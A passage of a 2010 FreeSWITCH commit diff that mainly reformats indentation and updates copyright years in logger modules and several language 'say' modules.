@@ -493,21 +482,21 @@
}
yaml_event_delete(&event);
- }
+ }
yaml_parser_delete(&parser);
status = SWITCH_STATUS_SUCCESS;
- end:
+ end:
if (input) {
fclose(input);
}
-
+
switch_safe_free(path);
return status;
-
+
}
SWITCH_MODULE_LOAD_FUNCTION(mod_yaml_load)
Modified: freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c (16578 => 16579)
--- freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_console/mod_console.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -43,11 +43,17 @@
static WORD wOldColorAttrs;
static CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
-static WORD
+static WORD
#else
-static const char*
+static const char *
#endif
-COLORS[] = { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN, SWITCH_SEQ_FYELLOW };
+
+
+
+
+ COLORS[] =
+ { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN,
+SWITCH_SEQ_FYELLOW };
static switch_memory_pool_t *module_pool = NULL;
@@ -261,8 +267,7 @@
"--------------------------------------------------------------------------------\n"
"console help\n"
"console loglevel [[0-7] | <loglevel_string>]\n"
- "console colorize [on|off|toggle]\n"
- "--------------------------------------------------------------------------------\n";
+ "console colorize [on|off|toggle]\n" "--------------------------------------------------------------------------------\n";
const char *loglevel_usage_string = "USAGE:\n"
"--------------------------------------------------------------------------------\n"
"console loglevel [[0-7] | <loglevel_string>]\n"
@@ -274,17 +279,11 @@
" 1 alert\n"
" 2 crit\n"
" 3 err\n"
- " 4 warning\n"
- " 5 notice\n"
- " 6 info\n"
- " 7 debug\n"
- "--------------------------------------------------------------------------------\n";
+ " 4 warning\n" " 5 notice\n" " 6 info\n" " 7 debug\n" "--------------------------------------------------------------------------------\n";
const char *colorize_usage_string = "USAGE:\n"
"--------------------------------------------------------------------------------\n"
"console colorize [on|off|toggle]\n"
- "\n"
- "Enable, disable, or toggle console coloring.\n"
- "--------------------------------------------------------------------------------\n";
+ "\n" "Enable, disable, or toggle console coloring.\n" "--------------------------------------------------------------------------------\n";
if (session)
return SWITCH_STATUS_FALSE;
@@ -315,10 +314,10 @@
level = atoi(argv[1]);
} else {
level = switch_log_str2level(argv[1]);
- }
+ }
}
if (level == SWITCH_LOG_INVALID) {
- stream->write_function(stream, "-ERR Invalid console loglevel (%s)!\n\n", argc>1? argv[1] : "");
+ stream->write_function(stream, "-ERR Invalid console loglevel (%s)!\n\n", argc > 1 ? argv[1] : "");
} else {
hard_log_level = level;
stream->write_function(stream, "+OK console log level set to %s\n", switch_log_level2str(hard_log_level));
@@ -337,11 +336,11 @@
}
stream->write_function(stream, "+OK console color %s\n", COLORIZE ? "enabled" : "disabled");
- } else { /* if (!strcasecmp(argv[0], "help")) { */
+ } else { /* if (!strcasecmp(argv[0], "help")) { */
stream->write_function(stream, "%s", usage_string);
}
-done:
+ done:
switch_safe_free(mycmd);
return status;
}
Modified: freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c (16578 => 16579)
--- freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_logfile/mod_logfile.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -154,11 +154,11 @@
}
break;
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "New log started.\n");
end:
-
+
if (pool) {
switch_core_destroy_memory_pool(&pool);
}
@@ -231,7 +231,7 @@
if (ok) {
if (profile->log_uuid && !zstr(node->userdata)) {
char buf[2048];
- switch_snprintf(buf, sizeof(buf), "%s %s", node->userdata, node->data);
+ switch_snprintf(buf, sizeof(buf), "%s %s", node->userdata, node->data);
mod_logfile_raw_write(profile, buf);
} else {
mod_logfile_raw_write(profile, node->data);
@@ -387,7 +387,7 @@
{
switch_hash_index_t *hi;
const void *var;
- void *val;
+ void *val;
switch_log_unbind_logger(mod_logfile_logger);
switch_event_unbind(&globals.node);
Modified: freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c (16578 => 16579)
--- freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/loggers/mod_syslog/mod_syslog.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, James Martelletti <james@nerdc0re.com>
+ * Copyright (C) 2005-2010, James Martelletti <james@nerdc0re.com>
*
* Version: MPL 1.1
*
@@ -49,13 +49,13 @@
static struct {
char *ident;
char *format;
- int facility;
+ int facility;
switch_bool_t log_uuid;
} globals;
struct _facility_table_entry {
char *description;
- int facility;
+ int facility;
};
SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_ident, globals.ident);
@@ -64,33 +64,33 @@
switch_status_t set_global_facility(const char *facility)
{
const struct _facility_table_entry facilities[] = {
- { "auth", LOG_AUTH },
- #if !defined (__SVR4) && !defined (__sun)
- { "authpriv", LOG_AUTHPRIV },
- { "ftp", LOG_FTP },
+ {"auth", LOG_AUTH},
+#if !defined (__SVR4) && !defined (__sun)
+ {"authpriv", LOG_AUTHPRIV},
+ {"ftp", LOG_FTP},
#endif
- { "cron", LOG_CRON },
- { "daemon", LOG_DAEMON },
- { "kern", LOG_KERN },
- { "local0", LOG_LOCAL0 },
- { "local1", LOG_LOCAL1 },
- { "local2", LOG_LOCAL2 },
- { "local3", LOG_LOCAL3 },
- { "local4", LOG_LOCAL4 },
- { "local5", LOG_LOCAL5 },
- { "local6", LOG_LOCAL6 },
- { "local7", LOG_LOCAL7 },
- { "lpr", LOG_LPR },
- { "mail", LOG_MAIL },
- { "news", LOG_NEWS },
- { "syslog", LOG_SYSLOG },
- { "user", LOG_USER },
- { "uucp", LOG_UUCP },
- { NULL, 0 }
+ {"cron", LOG_CRON},
+ {"daemon", LOG_DAEMON},
+ {"kern", LOG_KERN},
+ {"local0", LOG_LOCAL0},
+ {"local1", LOG_LOCAL1},
+ {"local2", LOG_LOCAL2},
+ {"local3", LOG_LOCAL3},
+ {"local4", LOG_LOCAL4},
+ {"local5", LOG_LOCAL5},
+ {"local6", LOG_LOCAL6},
+ {"local7", LOG_LOCAL7},
+ {"lpr", LOG_LPR},
+ {"mail", LOG_MAIL},
+ {"news", LOG_NEWS},
+ {"syslog", LOG_SYSLOG},
+ {"user", LOG_USER},
+ {"uucp", LOG_UUCP},
+ {NULL, 0}
};
const struct _facility_table_entry *entry = facilities;
- while(!zstr(entry->description)) {
+ while (!zstr(entry->description)) {
if (!strcasecmp(entry->description, facility)) {
globals.facility = entry->facility;
return SWITCH_STATUS_SUCCESS;
@@ -148,7 +148,7 @@
/* don't log blank lines */
if (!zstr(node->data) && (strspn(node->data, " \t\r\n") < strlen(node->data))) {
if (globals.log_uuid && !zstr(node->userdata)) {
- syslog(syslog_level, "%s %s", node->userdata, node->data);
+ syslog(syslog_level, "%s %s", node->userdata, node->data);
} else {
syslog(syslog_level, "%s", node->data);
}
@@ -161,10 +161,10 @@
{
char *cf = "syslog.conf";
switch_xml_t cfg, xml, settings, param;
-
- /* default log level */
- log_level = SWITCH_LOG_WARNING;
+ /* default log level */
+ log_level = SWITCH_LOG_WARNING;
+
/* default facility */
globals.facility = DEFAULT_FACILITY;
@@ -208,7 +208,7 @@
{
switch_status_t status;
*module_interface = &console_module_interface;
-
+
memset(&globals, 0, sizeof(globals));
if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
Modified: freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_en/mod_say_en.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -101,11 +101,11 @@
if (b) {
if (b > 1) {
- if ((c==0) && (method == SSM_COUNTED)) {
- say_file("digits/h-%d0.wav", b);
- } else {
- say_file("digits/%d0.wav", b);
- }
+ if ((c == 0) && (method == SSM_COUNTED)) {
+ say_file("digits/h-%d0.wav", b);
+ } else {
+ say_file("digits/%d0.wav", b);
+ }
} else {
say_file("digits/%d%d.wav", b, c);
c = 0;
@@ -277,7 +277,7 @@
uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
switch_channel_t *channel = switch_core_session_get_channel(session);
const char *tz = switch_channel_get_variable(channel, "timezone");
-
+
if (type == SST_TIME_MEASUREMENT) {
int64_t hours = 0;
int64_t minutes = 0;
@@ -365,7 +365,7 @@
target = switch_micro_time_now();
target_now = switch_micro_time_now();
}
-
+
if (tz) {
int check = atoi(tz);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Timezone is [%s]\n", tz);
@@ -415,7 +415,7 @@
}
say_month = say_day = say_dow = 1;
-
+
break;
default:
break;
@@ -449,9 +449,9 @@
if (say_time) {
int32_t hour = tm.tm_hour, pm = 0;
- if (say_date || say_today || say_yesterday || say_dow) {
+ if (say_date || say_today || say_yesterday || say_dow) {
say_file("time/at.wav");
- }
+ }
if (hour > 12) {
hour -= 12;
Modified: freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_es/mod_say_es.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -91,67 +91,67 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, switch_core_session_t *session,switch_input_args_t *args)
-{
- if (a) {
- switch(a) {
- case 1:
- if (b || c) {
- say_file("digits/hundred.wav");
- } else {
- say_file("digits/100.wav");
- }
- break;
- case 5:
- say_file("digits/500.wav");
- break;
- case 7:
- say_file("digits/700.wav");
- break;
- case 9:
- say_file("digits/900.wav");
- break;
- default:
- say_file("digits/%d.wav", a);
- say_file("digits/hundred.wav");
- break;
- }
- }
+static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, switch_core_session_t *session, switch_input_args_t *args)
+{
+ if (a) {
+ switch (a) {
+ case 1:
+ if (b || c) {
+ say_file("digits/hundred.wav");
+ } else {
+ say_file("digits/100.wav");
+ }
+ break;
+ case 5:
+ say_file("digits/500.wav");
+ break;
+ case 7:
+ say_file("digits/700.wav");
+ break;
+ case 9:
+ say_file("digits/900.wav");
+ break;
+ default:
+ say_file("digits/%d.wav", a);
+ say_file("digits/hundred.wav");
+ break;
+ }
+ }
- if (b) {
- if (b > 1) {
- switch (b) {
- case 2: if (c) {
- say_file("digits/veinti.wav");
- } else {
- say_file("digits/20.wav");
- }
- break;
- default:
- say_file("digits/%d0.wav", b);
- if (c)
- {
- say_file("currency/and.wav");
- }
- break;
- }
- } else {
- say_file("digits/%d%d.wav", b, c);
- c = 0;
- }
- }
- if (c) {
- if (method == SSM_COUNTED) {
- say_file("digits/h-%d.wav", c);
- } else {
- say_file("digits/%d.wav", c);
- }
- }
- if (what && (a || b || c)) {
- say_file(what);
- }
- return SWITCH_STATUS_SUCCESS;
-}
+ if (b) {
+ if (b > 1) {
+ switch (b) {
+ case 2:
+ if (c) {
+ say_file("digits/veinti.wav");
+ } else {
+ say_file("digits/20.wav");
+ }
+ break;
+ default:
+ say_file("digits/%d0.wav", b);
+ if (c) {
+ say_file("currency/and.wav");
+ }
+ break;
+ }
+ } else {
+ say_file("digits/%d%d.wav", b, c);
+ c = 0;
+ }
+ }
+ if (c) {
+ if (method == SSM_COUNTED) {
+ say_file("digits/h-%d.wav", c);
+ } else {
+ say_file("digits/%d.wav", c);
+ }
+ }
+ if (what && (a || b || c)) {
+ say_file(what);
+ }
+ return SWITCH_STATUS_SUCCESS;
+}
static char *strip_commas(char *in, char *out, switch_size_t len)
{
Modified: freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_hu/mod_say_hu.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -91,7 +91,8 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, int tosay, switch_core_session_t *session, switch_input_args_t *args)
+static switch_status_t play_group(switch_say_method_t method, int a, int b, int c, char *what, int tosay, switch_core_session_t *session,
+ switch_input_args_t *args)
{
if (a) {
say_file("digits/%d.wav", a);
@@ -100,11 +101,11 @@
if (b) {
if (b > 2) {
- if ((c==0) && (method == SSM_COUNTED)) {
- say_file("digits/h-%d0.wav", b);
- } else {
- say_file("digits/%d0.wav", b);
- }
+ if ((c == 0) && (method == SSM_COUNTED)) {
+ say_file("digits/h-%d0.wav", b);
+ } else {
+ say_file("digits/%d0.wav", b);
+ }
} else {
say_file("digits/%d%d.wav", b, c);
c = 0;
@@ -198,10 +199,12 @@
switch (method) {
case SSM_COUNTED:
case SSM_PRONOUNCED:
- if ((status = play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
+ if ((status =
+ play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
return status;
}
- if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3], "digits/thousand.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
+ if ((status =
+ play_group(SSM_PRONOUNCED, places[5], places[4], places[3], "digits/thousand.wav", number, session, args)) != SWITCH_STATUS_SUCCESS) {
return status;
}
if ((status = play_group(method, places[2], places[1], places[0], NULL, number, session, args)) != SWITCH_STATUS_SUCCESS) {
@@ -273,7 +276,7 @@
uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
switch_channel_t *channel = switch_core_session_get_channel(session);
const char *tz = switch_channel_get_variable(channel, "timezone");
-
+
if (type == SST_TIME_MEASUREMENT) {
int64_t hours = 0;
int64_t minutes = 0;
@@ -349,7 +352,7 @@
target = switch_micro_time_now();
target_now = switch_micro_time_now();
}
-
+
if (tz) {
int check = atoi(tz);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Timezone is [%s]\n", tz);
@@ -399,7 +402,7 @@
}
say_month = say_day = say_dow = 1;
-
+
break;
default:
break;
Modified: freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_it/mod_say_it.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -181,65 +181,66 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
return SWITCH_STATUS_GENERR;
}
-
- /* Get in */
+
+ /* Get in */
in = atoi(tosay);
-
- /* Check if number too big */
- if (in > 999999999) {
- /* Fail */
- return SWITCH_STATUS_FALSE;
- }
- /* Check if number isin't zero */
+ /* Check if number too big */
+ if (in > 999999999) {
+ /* Fail */
+ return SWITCH_STATUS_FALSE;
+ }
+
+ /* Check if number isin't zero */
if (in != 0) {
-
- /* Init x to 0 */
- places_count = 0;
-
- /* Loop until in is greater than zero */
- do {
- /* Get last digit */
- places[places_count] = in % 10;
-
- /* Drop last digit */
- in = in / 10;
- }
- while(in > 0 && ++places_count > 0 /* fake check to put in while */);
-
+
+ /* Init x to 0 */
+ places_count = 0;
+
+ /* Loop until in is greater than zero */
+ do {
+ /* Get last digit */
+ places[places_count] = in % 10;
+
+ /* Drop last digit */
+ in = in / 10;
+ }
+ while (in > 0 && ++places_count > 0 /* fake check to put in while */ );
+
switch (method) {
case SSM_COUNTED:
case SSM_PRONOUNCED:
-
- /* Check for milions */
- if (places_count > 5) {
- /* Check if the millions digit is one (digit 6 = 1, digit 7 and 8 = 0) */
- if (places[6] == 1 && places[7] == 0 && places[8] == 0) {
- say_file("digits/un.wav");
- say_file("digits/million.wav");
- } else {
- /* Play millions group (digits/million.wav should be digits/millions.wav) */
- if ((status = play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", session, args)) != SWITCH_STATUS_SUCCESS) {
- return status;
- }
- }
-
- }
-
- /* Check for thousands */
- if (places_count > 2) {
- if (places[3] == 1 && places[4] == 0 && places[5] == 0) {
- say_file("digits/thousand.wav");
- } else {
- /* Play thousand group */
- if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3],
+
+ /* Check for milions */
+ if (places_count > 5) {
+ /* Check if the millions digit is one (digit 6 = 1, digit 7 and 8 = 0) */
+ if (places[6] == 1 && places[7] == 0 && places[8] == 0) {
+ say_file("digits/un.wav");
+ say_file("digits/million.wav");
+ } else {
+ /* Play millions group (digits/million.wav should be digits/millions.wav) */
+ if ((status =
+ play_group(SSM_PRONOUNCED, places[8], places[7], places[6], "digits/million.wav", session, args)) != SWITCH_STATUS_SUCCESS) {
+ return status;
+ }
+ }
+
+ }
+
+ /* Check for thousands */
+ if (places_count > 2) {
+ if (places[3] == 1 && places[4] == 0 && places[5] == 0) {
+ say_file("digits/thousand.wav");
+ } else {
+ /* Play thousand group */
+ if ((status = play_group(SSM_PRONOUNCED, places[5], places[4], places[3],
"digits/thousands.wav", session, args)) != SWITCH_STATUS_SUCCESS) {
- return status;
- }
- }
- }
-
- /* Play last group */
+ return status;
+ }
+ }
+ }
+
+ /* Play last group */
if ((status = play_group(method, places[2], places[1], places[0], NULL, session, args)) != SWITCH_STATUS_SUCCESS) {
return status;
}
@@ -417,11 +418,11 @@
}
if (say_time) {
- say_file("time/hours.wav");
+ say_file("time/hours.wav");
say_num(tm.tm_hour, SSM_PRONOUNCED);
if (tm.tm_min) {
- say_file("time/and.wav");
+ say_file("time/and.wav");
say_num(tm.tm_min, SSM_PRONOUNCED);
}
}
Modified: freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c (16578 => 16579)
--- freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/say/mod_say_ru/mod_say_ru.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -49,13 +49,14 @@
#include "mod_say_ru.h"
/* инициализируем массив вариантов произношения цифр описано в define mod_say_ru.h */
-struct say_t matrix[7][8]= {{m_00, m_01, m_02, m_03, m_04, m_05, m_06, m_07},
- {m_10, m_11, m_12, m_13, m_14, m_15, m_16, m_17},
- {m_20, m_21, m_22, m_23, m_24, m_25, m_26, m_27},
- {m_30, m_31, m_32, m_33, m_34, m_35, m_36, m_37},
- {m_40, m_41, m_42, m_43, m_44, m_45, m_46, m_47},
- {m_50, m_51, m_52, m_53, m_54, m_55, m_56, m_57},
- {m_60, m_61, m_62, m_63, m_64, m_65, m_66, m_67}};
+struct say_t matrix[7][8] = { {m_00, m_01, m_02, m_03, m_04, m_05, m_06, m_07},
+{m_10, m_11, m_12, m_13, m_14, m_15, m_16, m_17},
+{m_20, m_21, m_22, m_23, m_24, m_25, m_26, m_27},
+{m_30, m_31, m_32, m_33, m_34, m_35, m_36, m_37},
+{m_40, m_41, m_42, m_43, m_44, m_45, m_46, m_47},
+{m_50, m_51, m_52, m_53, m_54, m_55, m_56, m_57},
+{m_60, m_61, m_62, m_63, m_64, m_65, m_66, m_67}
+};
SWITCH_MODULE_LOAD_FUNCTION(mod_say_ru_load);
SWITCH_MODULE_DEFINITION(mod_say_ru, mod_say_ru_load, NULL, NULL);
@@ -108,8 +109,8 @@
}
}
return ret;
-}
-
+}
+
static switch_status_t ru_spell(switch_core_session_t *session, char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
{
char *p;
@@ -133,83 +134,83 @@
unit_t what, switch_core_session_t *session, switch_input_args_t *args)
{
if (a) {
- if (((b==0)&&(c==0))||(matrix[casus][say_type].all==1)) { //если b и с равны 0 то сказать шестьсот, сестисотый, шестисотая
- if (what==million) { //префикс число окончание
+ if (((b == 0) && (c == 0)) || (matrix[casus][say_type].all == 1)) { //если b и с равны 0 то сказать шестьсот, сестисотый, шестисотая
+ if (what == million) { //префикс число окончание
say_file("digits/%s%d00%s.wav", matrix[casus][say_type].million[12], a, matrix[casus][say_type].million[13]);
say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
- } else if (what==thousand) {
+ } else if (what == thousand) {
say_file("digits/%s%d00%s.wav", matrix[casus][say_type].thousand[12], a, matrix[casus][say_type].thousand[13]);
say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
} else {
say_file("digits/%s%d00%s.wav", matrix[casus][say_type].num[6], a, matrix[casus][say_type].num[7]);
}
- } else { //если дальше есть цифры то тысячи и миллионы не прозносить пока
- say_file("digits/%d00.wav",a);
+ } else { //если дальше есть цифры то тысячи и миллионы не прозносить пока
+ say_file("digits/%d00.wav", a);
}
}
if (b) {
- if (b>1) { //если 20 и больше
- if ((c==0)||(matrix[casus][say_type].all==1)) { //если с равны 0 то сказать 20, двадцати, двадцатая
- if (what==million) { //префикс число окончание
+ if (b > 1) { //если 20 и больше
+ if ((c == 0) || (matrix[casus][say_type].all == 1)) { //если с равны 0 то сказать 20, двадцати, двадцатая
+ if (what == million) { //префикс число окончание
say_file("digits/%s%d0%s.wav", matrix[casus][say_type].million[12], b, matrix[casus][say_type].million[13]);
say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
- } else if (what==thousand) {
+ } else if (what == thousand) {
say_file("digits/%s%d0%s.wav", matrix[casus][say_type].thousand[12], b, matrix[casus][say_type].thousand[13]);
say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
} else {
say_file("digits/%s%d0%s.wav", matrix[casus][say_type].num[6], b, matrix[casus][say_type].num[7]);
}
- } else { //если есть дальше цифры
- say_file("digits/%d0.wav",b);
+ } else { //если есть дальше цифры
+ say_file("digits/%d0.wav", b);
}
- } else { //от 10 до 19
- if (what==million) {
+ } else { //от 10 до 19
+ if (what == million) {
say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].million[12], b, c, matrix[casus][say_type].million[13]);
say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
- } else if (what==thousand) {
+ } else if (what == thousand) {
say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].thousand[12], b, c, matrix[casus][say_type].thousand[13]);
say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
- } else { //просто произнести цифры с префиксом и окончанием
+ } else { //просто произнести цифры с префиксом и окончанием
say_file("digits/%s%d%d%s.wav", matrix[casus][say_type].num[6], b, c, matrix[casus][say_type].num[7]);
}
- c=0;
+ c = 0;
}
}
- if (c||what==zero) {
- if (c<=5) {
- if (what==million) {
- if ((strlen(matrix[casus][say_type].million[c*2])) > 0) { // не произносить если не заданно например 1 миллион а просто миллион
- say_file("digits/%s.wav", matrix[casus][say_type].million[c*2])
+ if (c || what == zero) {
+ if (c <= 5) {
+ if (what == million) {
+ if ((strlen(matrix[casus][say_type].million[c * 2])) > 0) { // не произносить если не заданно например 1 миллион а просто миллион
+ say_file("digits/%s.wav", matrix[casus][say_type].million[c * 2])
}
- say_file("digits/%s.wav", matrix[casus][say_type].million[c*2+1]);
- } else if (what==thousand) {
- if ((strlen(matrix[casus][say_type].thousand[c*2])) > 0) { // не произносить если не заданно например одна тысячас а просто тысяча
- say_file("digits/%s.wav", matrix[casus][say_type].thousand[c*2])
+ say_file("digits/%s.wav", matrix[casus][say_type].million[c * 2 + 1]);
+ } else if (what == thousand) {
+ if ((strlen(matrix[casus][say_type].thousand[c * 2])) > 0) { // не произносить если не заданно например одна тысячас а просто тысяча
+ say_file("digits/%s.wav", matrix[casus][say_type].thousand[c * 2])
}
- say_file("digits/%s.wav", matrix[casus][say_type].thousand[c*2+1]);
- } else { //просто произнести цифры с префиксом и окончанием
+ say_file("digits/%s.wav", matrix[casus][say_type].thousand[c * 2 + 1]);
+ } else { //просто произнести цифры с префиксом и окончанием
say_file("digits/%s.wav", matrix[casus][say_type].num[c]);
}
- } else /* больше 5 */ {
- if (what==million) {
+ } else { /* больше 5 */
+
+ if (what == million) {
say_file("digits/%s%d%s.wav", matrix[casus][say_type].million[12], c, matrix[casus][say_type].million[13]);
say_file("digits/%s.wav", matrix[casus][say_type].million[11]);
- } else if (what==thousand) {
+ } else if (what == thousand) {
say_file("digits/%s%d%s.wav", matrix[casus][say_type].thousand[12], c, matrix[casus][say_type].thousand[13]);
say_file("digits/%s.wav", matrix[casus][say_type].thousand[11]);
- } else { //просто произнести цифры с префиксом и окончанием
+ } else { //просто произнести цифры с префиксом и окончанием
say_file("digits/%s%d%s.wav", matrix[casus][say_type].num[6], c, matrix[casus][say_type].num[7]);
}
}
}
return SWITCH_STATUS_SUCCESS;
-}
+}
-static switch_status_t ru_say_count(switch_core_session_t *session,
- char *tosay, say_type_t say_type, casus_t casus, switch_input_args_t *args)
+static switch_status_t ru_say_count(switch_core_session_t *session, char *tosay, say_type_t say_type, casus_t casus, switch_input_args_t *args)
{
int in;
int x = 0;
@@ -237,41 +238,45 @@
}
}
- //миллионы
- if (places[8] || places[7] || places[6]) {
- if ((in_%1000000>0)&&(matrix[casus][say_type].all != 1)) {// если поле миллионов есть цифры поизнести как числительое именительного падежа
+ //миллионы
+ if (places[8] || places[7] || places[6]) {
+ if ((in_ % 1000000 > 0) && (matrix[casus][say_type].all != 1)) { // если поле миллионов есть цифры поизнести как числительое именительного падежа
if ((status = play_group(male_c, nominativus, places[8], places[7], places[6], million, session, args)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],status);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],
+ status);
return status;
}
- } else {// иначе произнести в нужном падеже
- if ((status = play_group(say_type,casus, places[8], places[7], places[6],million, session, args)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],status);
+ } else { // иначе произнести в нужном падеже
+ if ((status = play_group(say_type, casus, places[8], places[7], places[6], million, session, args)) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d million! status=%d\n", places[8], places[7], places[6],
+ status);
return status;
}
}
}
- //тысячи
- if (places[5]||places[4]||places[3]) {
- if ((in_%1000>0)&&(matrix[casus][say_type].all != 1)) {// если поле миллионов есть цифры поизнести как числительое именительного падежа
- if ((status = play_group(male_c, nominativus, places[5], places[4], places[3],thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
+ //тысячи
+ if (places[5] || places[4] || places[3]) {
+ if ((in_ % 1000 > 0) && (matrix[casus][say_type].all != 1)) { // если поле миллионов есть цифры поизнести как числительое именительного падежа
+ if ((status = play_group(male_c, nominativus, places[5], places[4], places[3], thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],
+ status);
return status;
}
- } else {// иначе произнести в нужном падеже
- if ((status = play_group(say_type, casus, places[5], places[4], places[3], thousand,session, args)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
+ } else { // иначе произнести в нужном падеже
+ if ((status = play_group(say_type, casus, places[5], places[4], places[3], thousand, session, args)) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],
+ status);
return status;
}
}
}
// сотни
if ((status = play_group(say_type, casus, places[2], places[1], places[0], empty, session, args)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3],status);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "play group %d %d %d thousand! status=%d\n", places[5], places[4], places[3], status);
return status;
}
- } else {
